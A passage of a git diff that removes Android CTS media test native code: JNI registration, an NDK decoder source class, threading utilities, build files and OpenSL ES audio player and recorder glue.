-int register_android_media_cts_NativeMediaDrmClearkeyTest(JNIEnv* env) {
-    jint result = JNI_ERR;
-    jclass testClass =
-        env->FindClass("android/media/cts/NativeMediaDrmClearkeyTest");
-    if (testClass) {
-        jclass playbackParamsClass = env->FindClass(
-            "android/media/cts/NativeMediaDrmClearkeyTest$PlaybackParams");
-        if (playbackParamsClass) {
-            jclass surfaceClass =
-                env->FindClass("android/view/Surface");
-            if (surfaceClass) {
-                gFieldIds.surface = env->GetFieldID(playbackParamsClass,
-                        "surface", "Landroid/view/Surface;");
-            } else {
-                gFieldIds.surface = NULL;
-            }
-            gFieldIds.mimeType = env->GetFieldID(playbackParamsClass,
-                    "mimeType", "Ljava/lang/String;");
-            gFieldIds.audioUrl = env->GetFieldID(playbackParamsClass,
-                    "audioUrl", "Ljava/lang/String;");
-            gFieldIds.videoUrl = env->GetFieldID(playbackParamsClass,
-                    "videoUrl", "Ljava/lang/String;");
-        } else {
-            ALOGE("PlaybackParams class not found");
-        }
-
-    } else {
-        ALOGE("NativeMediaDrmClearkeyTest class not found");
-    }
-
-    result = env->RegisterNatives(testClass, gMethods,
-            sizeof(gMethods) / sizeof(JNINativeMethod));
-    return result;
-}
diff --git a/tests/tests/media/libmediandkjni/native_media_decoder_source.cpp b/tests/tests/media/libmediandkjni/native_media_decoder_source.cpp
deleted file mode 100644
index 040e78b..0000000
--- a/tests/tests/media/libmediandkjni/native_media_decoder_source.cpp
+++ /dev/null
@@ -1,266 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-//#define LOG_NDEBUG 0
-#define LOG_TAG "NativeMediaEnc-Source"
-#include <log/log.h>
-
-#include "native_media_source.h"
-
-using namespace Utils;
-
-class DecoderSource : public Thread, public Source {
-public:
-    DecoderSource(
-        int32_t w, int32_t h, int32_t colorFormat, float fps, bool looping, bool regulate);
-    ~DecoderSource();
-    DecoderSource(const DecoderSource& ) = delete;
-
-    Status setDataSourceFd(int sourceFileFd, off64_t sourceFileOffset, off64_t sourceFileSize);
-    Status prepare(std::shared_ptr<Listener> l, std::shared_ptr<ANativeWindow> n) override;
-    Status start() override;
-    Status stop() override;
-
-protected:
-    void run() override;
-
-private:
-    // seek the extractor back to beginning
-    void rewindExtractor();
-
-    // When setting dynamic params, if the source is faster than the encoder,
-    // there is a possibility of param set via setParameters() will get delayed.
-    // Simulate a real-time source by slowing down the feeding rate (up to configured fps)
-    bool mRegulateFramerate;
-
-    std::shared_ptr<AMediaExtractor> mEx;
-    std::shared_ptr<AMediaCodec> mDec;
-    std::shared_ptr<AMediaFormat> mFormat;
-    std::string mMime;
-    int mVideoTrackIndex;
-    int mFrameCount;
-    bool mStopRequest;
-    bool mStarted;
-};
-
-std::shared_ptr<Source> createDecoderSource(
-        int32_t w, int32_t h, int32_t colorFormat, float fps, bool looping,
-        bool regulateFeedingRate, /* WA for dynamic settings */
-        int sourceFileFd, off64_t sourceFileOffset, off64_t sourceFileSize) {
-    DecoderSource *d = new DecoderSource(w, h, colorFormat, fps, looping, regulateFeedingRate);
-    d->setDataSourceFd(sourceFileFd, sourceFileOffset, sourceFileSize);
-    std::shared_ptr<Source> src(d);
-    return src;
-}
-
-DecoderSource::DecoderSource(
-        int32_t w, int32_t h, int32_t colorFormat, float fps, bool looping, bool regulate)
-    : Source(w, h, colorFormat, fps, looping),
-      mRegulateFramerate(regulate),
-      mEx(nullptr),
-      mDec(nullptr),
-      mFormat(nullptr),
-      mMime(""),
-      mVideoTrackIndex(-1),
-      mFrameCount(0),
-      mStopRequest(false),
-      mStarted(false) {
-}
-
-Status DecoderSource::setDataSourceFd(
-        int sourceFileFd, off64_t sourceFileOffset, off64_t sourceFileSize) {
-
-    mEx = std::shared_ptr<AMediaExtractor>(AMediaExtractor_new(), deleter_AMediExtractor);
-    int err = AMediaExtractor_setDataSourceFd(mEx.get(), sourceFileFd, sourceFileOffset, sourceFileSize);
-    if (err != 0) {
-        ALOGE("setDataSource error: %d", err);
-        return FAIL;
-    }
-
-    const char *mime;
-    mVideoTrackIndex = -1;
-    int numtracks = AMediaExtractor_getTrackCount(mEx.get());
-    for (int i = 0; i < numtracks; i++) {
-        AMediaFormat *format = AMediaExtractor_getTrackFormat(mEx.get(), i);
-        const char *s = AMediaFormat_toString(format);
-        ALOGV("track %d format: %s", i, s);
-        if (!AMediaFormat_getString(format, AMEDIAFORMAT_KEY_MIME, &mime)) {
-            ALOGE("no mime type");
-            mEx = nullptr;
-            AMediaFormat_delete(format);
-            return FAIL;
-        } else if (!strncmp(mime, "video/", 6)) {
-            mVideoTrackIndex = i;
-            mFormat = std::shared_ptr<AMediaFormat>(format, deleter_AMediaFormat);
-            mMime = mime;
-            break;
-        } else {
-            ALOGE("expected video mime type, got %s", mime);
-            mEx = nullptr;
-        }
-        AMediaFormat_delete(format);
-    }
-    return mVideoTrackIndex == -1 ? FAIL : OK;
-}
-
-DecoderSource::~DecoderSource() {
-    mDec = nullptr;
-    mEx = nullptr;
-    mFormat = nullptr;
-}
-
-void DecoderSource::run() {
-    while(!mStopRequest) {
-        int t = AMediaExtractor_getSampleTrackIndex(mEx.get());
-        if (t < 0) {
-            if (mLooping) {
-                rewindExtractor();
-                continue;
-            } else {
-                ALOGV("no more samples");
-                break;
-            }
-        } else if (t != mVideoTrackIndex) {
-            continue;
-        }
-
-        ssize_t bufidx = AMediaCodec_dequeueInputBuffer(mDec.get(), 5000);
-        if (bufidx >= 0) {
-            size_t bufsize;
-            uint8_t *buf = AMediaCodec_getInputBuffer(mDec.get(), bufidx, &bufsize);
-            int sampleSize = AMediaExtractor_readSampleData(mEx.get(), buf, bufsize);
-            int32_t flags = 0;
-            if (sampleSize < 0) {
-                if (mLooping) {
-                    rewindExtractor();
-                    continue;
-                } else {
-                    flags = AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM;
-                }
-            }
-            // synthesize timestamps based on required fps
-            int64_t timeStampUs = 1e6 / mFps * mFrameCount;
-            AMediaCodec_queueInputBuffer(mDec.get(), bufidx, 0, sampleSize, timeStampUs, flags);
-
-            AMediaExtractor_advance(mEx.get());
-            ++mFrameCount;
-        }
-
-        AMediaCodecBufferInfo info;
-        int status = AMediaCodec_dequeueOutputBuffer(mDec.get(), &info, 1000);
-        if (status >= 0) {
-            ALOGV("got decoded buffer of size=%d @%lld us",
-                    info.size, (long long)info.presentationTimeUs);
-            bool render = info.size > 0;
-            if (mBufListener != nullptr) {
-                //TBD
-                //mBufListener->onBufferAvailable(..);
-            }
-
-            // WA: if decoder runs free, dynamic settings applied by
-            //     MediaCodec.setParameters() are off
-            if (mRegulateFramerate) {
-                usleep(1e6/mFps);
-            }
-
-            AMediaCodec_releaseOutputBuffer(mDec.get(), status, render);
-
-            if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
-                ALOGV("saw EOS");
-                break;
-            }
-
-        } else if (status == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
-        } else if (status == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
-            mFormat = std::shared_ptr<AMediaFormat>(
-                    AMediaCodec_getOutputFormat(mDec.get()), deleter_AMediaFormat);
-            ALOGV("format changed: %s", AMediaFormat_toString(mFormat.get()));
-        } else if (status == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
-        } else {
-            ALOGV("Invalid status : %d", status);
-        }
-    }
-}
-
-Status DecoderSource::prepare(
-        std::shared_ptr<Listener> l, std::shared_ptr<ANativeWindow> n) {
-
-    mBufListener = l;
-    mSurface = n;
-
-    if (mVideoTrackIndex < 0) {
-        ALOGE("Video track not found !");
-        return FAIL;
-    }
-
-    assert(mEx.get() != nullptr);
-    AMediaExtractor_selectTrack(mEx.get(), mVideoTrackIndex);
-
-    AMediaCodec *dec = AMediaCodec_createDecoderByType(mMime.c_str());
-    mDec = std::shared_ptr<AMediaCodec>(dec, deleter_AMediaCodec);
-
-    ALOGI("configure decoder. surface = %p", mSurface.get());
-    media_status_t status = AMediaCodec_configure(
-            mDec.get(), mFormat.get(), mSurface.get(), NULL /* crypto */, 0);
-    if (status != AMEDIA_OK) {
-        ALOGE("failed to configure decoder");
-        return FAIL;
-    }
-    return OK;
-}
-
-Status DecoderSource::start() {
-    ALOGV("start");
-    media_status_t status = AMediaCodec_start(mDec.get());
-    if (status != AMEDIA_OK) {
-        ALOGE("failed to start decoder");
-        return FAIL;
-    }
-    if (startThread() != OK) {
-        return FAIL;
-    }
-    mStarted = true;
-    return OK;
-}
-
-Status DecoderSource::stop() {
-    if (!mStarted) {
-        return FAIL;
-    }
-
-    ALOGV("Stopping decoder source..");
-    mStopRequest = true;
-    joinThread();
-
-    media_status_t status = AMediaCodec_stop(mDec.get());
-    if (status != AMEDIA_OK) {
-        ALOGE("failed to stop decoder");
-    }
-
-    mDec = nullptr;
-    mEx = nullptr;
-    mFormat = nullptr;
-    return OK;
-}
-
-void DecoderSource::rewindExtractor() {
-    assert(mEx.get() != nullptr);
-    media_status_t status = AMediaExtractor_seekTo(mEx.get(), 0, AMEDIAEXTRACTOR_SEEK_CLOSEST_SYNC);
-    if (status != AMEDIA_OK) {
-        ALOGE("failed to seek Extractor to 0");
-    }
-}
-
diff --git a/tests/tests/media/libmediandkjni/native_media_source.h b/tests/tests/media/libmediandkjni/native_media_source.h
deleted file mode 100644
index 4320aed..0000000
--- a/tests/tests/media/libmediandkjni/native_media_source.h
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef _NATIVE_MEDIA_SOURCE_H_
-#define _NATIVE_MEDIA_SOURCE_H_
-
-#include <stdlib.h>
-#include <stdint.h>
-#include <memory>
-#include <string>
-
-#include <android/native_window_jni.h>
-
-#include "media/NdkMediaFormat.h"
-#include "media/NdkMediaExtractor.h"
-#include "media/NdkMediaCodec.h"
-#include "media/NdkMediaMuxer.h"
-
-#include "native_media_utils.h"
-using Utils::Thread;
-using Utils::Status;
-
-class Source {
-public:
-    Source(int32_t w, int32_t h, int32_t colorFormat, float fps, bool looping)
-        : mWidth(w),
-          mHeight(h),
-          mColorFormat(colorFormat),
-          mFps(fps),
-          mLooping(looping),
-          mBufListener(nullptr) {
-    }
-    virtual ~Source() = default;
-
-    class Listener {
-    public:
-        virtual void onBufferAvailable(
-            uint8_t *buffer, int32_t size, int64_t timeStampUs, uint32_t flags) = 0;
-        virtual ~Listener() = default;
-    };
-    virtual Status prepare(std::shared_ptr<Listener> l, std::shared_ptr<ANativeWindow> n) = 0;
-    virtual Status start() = 0;
-    virtual Status stop() = 0;
-
-protected:
-    int32_t mWidth;
-    int32_t mHeight;
-    int32_t mColorFormat;
-    float mFps;
-    bool mLooping;
-    std::shared_ptr<Listener> mBufListener;
-    std::shared_ptr<ANativeWindow> mSurface;
-};
-
-std::shared_ptr<Source> createDecoderSource(
-        int32_t w, int32_t h, int32_t colorFormat, float fps, bool looping,
-        bool regulateFeedingRate, /* WA for dynamic settings */
-        int sourceFileFd, off64_t sourceFileOffset, off64_t sourceFileSize);
-
-#endif // _NATIVE_MEDIA_SOURCE_H_
diff --git a/tests/tests/media/libmediandkjni/native_media_utils.cpp b/tests/tests/media/libmediandkjni/native_media_utils.cpp
deleted file mode 100644
index 21b7f7f..0000000
--- a/tests/tests/media/libmediandkjni/native_media_utils.cpp
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-//#define LOG_NDEBUG 0
-#define LOG_TAG "NativeMedia"
-#include <log/log.h>
-
-#include <stdlib.h>
-#include <math.h>
-#include <string>
-#include <algorithm>
-#include <iterator>
-#include "native_media_utils.h"
-
-namespace Utils {
-
-Status Thread::startThread() {
-    assert(mHandle == 0);
-    if (pthread_create(&mHandle, nullptr, Thread::thread_wrapper, this) != 0) {
-        ALOGE("Failed to create thread");
-        return FAIL;
-    }
-    return OK;
-}
-
-Status Thread::joinThread() {
-    assert(mHandle != 0);
-    void *ret;
-    pthread_join(mHandle, &ret);
-    return OK;
-}
-
-//static
-void* Thread::thread_wrapper(void *obj) {
-    assert(obj != nullptr);
-    Thread *t = reinterpret_cast<Thread *>(obj);
-    t->run();
-    return nullptr;
-}
-
-}; // namespace Utils
diff --git a/tests/tests/media/libmediandkjni/native_media_utils.h b/tests/tests/media/libmediandkjni/native_media_utils.h
deleted file mode 100644
index e5842f7..0000000
--- a/tests/tests/media/libmediandkjni/native_media_utils.h
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef _NATIVE_MEDIA_UTILS_H_
-#define _NATIVE_MEDIA_UTILS_H_
-
-#include <pthread.h>
-#include <sys/cdefs.h>
-#include <stddef.h>
-#include <assert.h>
-#include <vector>
-
-#include <android/native_window_jni.h>
-
-#include "media/NdkMediaFormat.h"
-#include "media/NdkMediaExtractor.h"
-#include "media/NdkMediaCodec.h"
-#include "media/NdkMediaMuxer.h"
-
-namespace Utils {
-
-enum Status : int32_t {
-    FAIL = -1,
-    OK = 0,
-};
-
-class Thread {
-public:
-    Thread()
-        : mHandle(0) {
-    }
-    virtual ~Thread() {
-        assert(mExited);
-        mHandle = 0;
-    }
-    Thread(const Thread& ) = delete;
-    Status startThread();
-    Status joinThread();
-
-protected:
-    virtual void run() = 0;
-
-private:
-    static void* thread_wrapper(void *);
-    pthread_t mHandle;
-};
-
-static inline void deleter_AMediExtractor(AMediaExtractor *_a) {
-    AMediaExtractor_delete(_a);
-}
-
-static inline void deleter_AMediaCodec(AMediaCodec *_a) {
-    AMediaCodec_delete(_a);
-}
-
-static inline void deleter_AMediaFormat(AMediaFormat *_a) {
-    AMediaFormat_delete(_a);
-}
-
-static inline void deleter_AMediaMuxer(AMediaMuxer *_a) {
-    AMediaMuxer_delete(_a);
-}
-
-static inline void deleter_ANativeWindow(ANativeWindow *_a) {
-    ANativeWindow_release(_a);
-}
-
-}; //namespace Utils
-
-#endif // _NATIVE_MEDIA_UTILS_H_
diff --git a/tests/tests/media/libndkaudio/Android.bp b/tests/tests/media/libndkaudio/Android.bp
deleted file mode 100644
index 08552d1..0000000
--- a/tests/tests/media/libndkaudio/Android.bp
+++ /dev/null
@@ -1,60 +0,0 @@
-// Copyright (C) 2016 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-cc_test_library {
-    name: "libndkaudioLib",
-    include_dirs: [
-        "frameworks/wilhelm/include",
-        "frameworks/wilhelm/src/android",
-    ],
-    srcs: [
-        "OpenSLESUtils.cpp",
-        "AudioPlayer.cpp",
-        "AudioSource.cpp",
-        "PeriodicAudioSource.cpp",
-        "SystemParams.cpp",
-        "WaveTableGenerator.cpp",
-        "WaveTableOscillator.cpp",
-        "com_android_ndkaudio_AudioPlayer.cpp",
-        "AudioRecorder.cpp",
-        "com_android_ndkaudio_AudioRecorder.cpp",
-    ],
-    stl: "libc++_static",
-    shared_libs: [
-        "liblog",
-        "libOpenSLES",
-    ],
-    cflags: [
-        "-Werror",
-        "-Wall",
-        "-Wno-deprecated-declarations",
-    ],
-    gtest: false,
-    sdk_version: "29",
-}
-
-//
-// ndkaudio - java
-//
-java_library {
-    name: "ndkaudio",
-    srcs: ["**/*.java"],
-    sdk_version: "current",
-    min_sdk_version: "23",
-}
diff --git a/tests/tests/media/libndkaudio/AndroidManifest.xml b/tests/tests/media/libndkaudio/AndroidManifest.xml
deleted file mode 100644
index 3fbb9ad..0000000
--- a/tests/tests/media/libndkaudio/AndroidManifest.xml
+++ /dev/null
@@ -1,10 +0,0 @@
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.ndkaudio"
-    android:versionCode="1"
-    android:versionName="1.0" >
-
-    <uses-sdk
-        android:minSdkVersion="23"
-        android:targetSdkVersion="23" />
-
-</manifest>
diff --git a/tests/tests/media/libndkaudio/com_android_ndkaudio_AudioPlayer.cpp b/tests/tests/media/libndkaudio/com_android_ndkaudio_AudioPlayer.cpp
deleted file mode 100644
index ade0e34..0000000
--- a/tests/tests/media/libndkaudio/com_android_ndkaudio_AudioPlayer.cpp
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <android/log.h>
-
-#include "com_android_ndkaudio_AudioPlayer.h"
-
-#include "AudioPlayer.h"
-#include "WaveTableGenerator.h"
-#include "WaveTableOscillator.h"
-#include "SystemParams.h"
-
-static const char* TAG = "_com_android_ndkaudio_AudioPlayer_";
-
-using namespace ndkaudio;
-
-static int numChannels = 2;
-static int waveTableSize = 0;
-static float * waveTable = 0;
-
-static WaveTableOscillator* waveTableSource;
-static AudioPlayer* nativePlayer;
-
-static SLresult lastSLResult = 0;
-
-extern "C" {
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_Create(JNIEnv*, jobject) {
-  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_Create() ...");
-
-  if (nativePlayer == 0) {
-      waveTableSize = SystemParams::getNumBufferFrames();
-      waveTable = WaveTableGenerator::genSinWave(waveTableSize, 1.0f);
-      waveTableSource = new WaveTableOscillator(numChannels, waveTable, waveTableSize);
-
-      nativePlayer = new AudioPlayer();
-      nativePlayer->Open(numChannels, waveTableSource);
-  }
-}
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_Destroy(JNIEnv*, jobject) {
-  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_Destroy() ...");
-  nativePlayer->Close();
-}
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_RealizePlayer(JNIEnv*, jobject) {
-    __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_RealizePlayer() ...");
-    nativePlayer->RealizePlayer();
-  }
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_RealizeRoutingProxy(JNIEnv*, jobject) {
-    __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_RealizeRoutingProxy() ...");
-    nativePlayer->RealizeRoutingProxy();
-  }
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_Start(JNIEnv*, jobject) {
-  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_Start() ...");
-  nativePlayer->Start();
-}
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_Stop(JNIEnv*, jobject) {
-  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_Stop() ...");
-  nativePlayer->Stop();
-}
-
-JNIEXPORT jobject JNICALL Java_com_android_ndkaudio_AudioPlayer_GetRoutingInterface(JNIEnv*, jobject) {
-  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_GetRoutingInterface() ...");
-
-  SLAndroidConfigurationItf configItf = nativePlayer->getConfigItf();
-  __android_log_print(ANDROID_LOG_INFO, TAG, "  configItf:%p", configItf);
-  jobject routingObj = 0;
-  lastSLResult = (*configItf)->AcquireJavaProxy(configItf, SL_ANDROID_JAVA_PROXY_ROUTING, &routingObj);
-  __android_log_print(ANDROID_LOG_INFO, TAG, "  routingObj:%p", routingObj);
-  return routingObj;
-}
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_ReleaseRoutingInterface(JNIEnv*, jobject, jobject /*proxyObj*/) {
-  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_ReleaseRoutingInterface() ...");
-
-  SLAndroidConfigurationItf configItf = nativePlayer->getConfigItf();
-  lastSLResult = (*configItf)->ReleaseJavaProxy(configItf, SL_ANDROID_JAVA_PROXY_ROUTING/*, proxyObj*/);
-}
-
-JNIEXPORT jlong JNICALL Java_com_android_ndkaudio_AudioPlayer_GetLastSLResult(JNIEnv*, jobject) {
-    return lastSLResult;
-}
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_ClearLastSLResult(JNIEnv*, jobject) {
-    lastSLResult = 0;
-}
-
-} // extern "C"
diff --git a/tests/tests/media/libndkaudio/com_android_ndkaudio_AudioPlayer.h b/tests/tests/media/libndkaudio/com_android_ndkaudio_AudioPlayer.h
deleted file mode 100644
index 551349c..0000000
--- a/tests/tests/media/libndkaudio/com_android_ndkaudio_AudioPlayer.h
+++ /dev/null
@@ -1,99 +0,0 @@
-/* DO NOT EDIT THIS FILE - it is machine generated */
-#include <jni.h>
-/* Header for class com_android_ndkaudio_AudioPlayer */
-
-#ifndef _Included_com_android_ndkaudio_AudioPlayer
-#define _Included_com_android_ndkaudio_AudioPlayer
-#ifdef __cplusplus
-extern "C" {
-#endif
-/*
- * Class:     com_android_ndkaudio_AudioPlayer
- * Method:    InitN
- * Signature: ()V
- */
-
-/*
- * Class:     com_android_ndkaudio_AudioPlayer
- * Method:    Create
- * Signature: ()V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_Create
-  (JNIEnv *, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioPlayer
- * Method:    Destroy
- * Signature: ()V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_Destroy
-  (JNIEnv*, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioPlayer
- * Method:    RealizePlayer
- * Signature: ()V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_RealizePlayer
-  (JNIEnv*, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioPlayer
- * Method:    RealizeRoutingProxy
- * Signature: ()V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_RealizeRoutingProxy
-  (JNIEnv*, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioPlayer
- * Method:    Start
- * Signature: ()V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_Start
-  (JNIEnv *, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioPlayer
- * Method:    Stop
- * Signature: ()android/
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_Stop
-  (JNIEnv *, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioPlayer
- * Method:    GetRoutingInterface
- * Signature: ()Landroid/media/AudioRouting;
- */
-JNIEXPORT jobject JNICALL Java_com_android_ndkaudio_AudioPlayer_GetRoutingInterface
-  (JNIEnv*, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioPlayer
- * Method:    GetRoutingInterface
- * Signature: (Landroid/media/AudioRouting;)V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_ReleaseRoutingInterface
-  (JNIEnv*, jobject, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioPlayer
- * Method:    GetLastSLResult
- * Signature: ()J
- */
-JNIEXPORT jlong JNICALL Java_com_android_ndkaudio_AudioPlayer_GetLastSLResult
-  (JNIEnv*, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioPlayer
- * Method:    ClearLastSLResult
- * Signature: ()V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioPlayer_ClearLastSLResult
-  (JNIEnv*, jobject);
-
-#ifdef __cplusplus
-}
-#endif
-#endif
diff --git a/tests/tests/media/libndkaudio/com_android_ndkaudio_AudioRecorder.cpp b/tests/tests/media/libndkaudio/com_android_ndkaudio_AudioRecorder.cpp
deleted file mode 100644
index f4dcc20..0000000
--- a/tests/tests/media/libndkaudio/com_android_ndkaudio_AudioRecorder.cpp
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <android/log.h>
-
-#include "com_android_ndkaudio_AudioRecorder.h"
-
-#include "AudioRecorder.h"
-
-using namespace ndkaudio;
-
-static const char* TAG = "_com_android_ndkaudio_AudioRecorder_";
-
-static int numChannels = 2;
-
-static AudioRecorder* nativeRecorder;
-
-static SLresult lastSLResult = 0;
-extern "C" {
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_Create(JNIEnv*, jobject) {
-  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioRecorder_Create() ...");
-  if (nativeRecorder == 0) {
-      nativeRecorder = new AudioRecorder();
-  }
-  nativeRecorder->Open(numChannels, 0);
-}
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_Destroy(JNIEnv*, jobject) {
-  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioRecorder_Destroy() ...");
-  nativeRecorder->Close();
-  delete nativeRecorder;
-  nativeRecorder = 0;
-}
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_RealizeRecorder(JNIEnv*, jobject) {
-    __android_log_print(ANDROID_LOG_INFO, TAG, "AudioRecorder_RealizePlayer() ...");
-    nativeRecorder->RealizeRecorder();
-  }
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_RealizeRoutingProxy(JNIEnv*, jobject) {
-    __android_log_print(ANDROID_LOG_INFO, TAG, "RealizeRoutingProxy ...");
-    nativeRecorder->RealizeRoutingProxy();
-  }
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_Start(JNIEnv *, jobject) {
-  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioRecorder_Start() ...");
-  nativeRecorder->Start();
-}
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_Stop(JNIEnv *, jobject) {
-  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioRecorder_Stop() ...");
-  nativeRecorder->Stop();
-}
-
-JNIEXPORT jobject JNICALL Java_com_android_ndkaudio_AudioRecorder_GetRoutingInterface(JNIEnv*, jobject) {
-  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_GetRoutingObj() ...");
-
-  SLAndroidConfigurationItf configItf = nativeRecorder->getConfigItf();
-  jobject routingObj = 0;
-  lastSLResult = (*configItf)->AcquireJavaProxy(configItf, SL_ANDROID_JAVA_PROXY_ROUTING, &routingObj);
-  __android_log_print(ANDROID_LOG_INFO, TAG, "  routingObj:%p", routingObj);
-  return routingObj;
-}
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_ReleaseRoutingInterface(JNIEnv*, jobject, jobject /*proxyObj*/) {
-  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_ReleaseRoutingInterface() ...");
-
-  SLAndroidConfigurationItf configItf = nativeRecorder->getConfigItf();
-  lastSLResult = (*configItf)->ReleaseJavaProxy(configItf, SL_ANDROID_JAVA_PROXY_ROUTING/*, proxyObj*/);
-}
-
-JNIEXPORT jint JNICALL Java_com_android_ndkaudio_AudioRecorder_GetNumBufferSamples(JNIEnv*, jobject) {
-    return nativeRecorder->GetNumBufferSamples();
-}
-
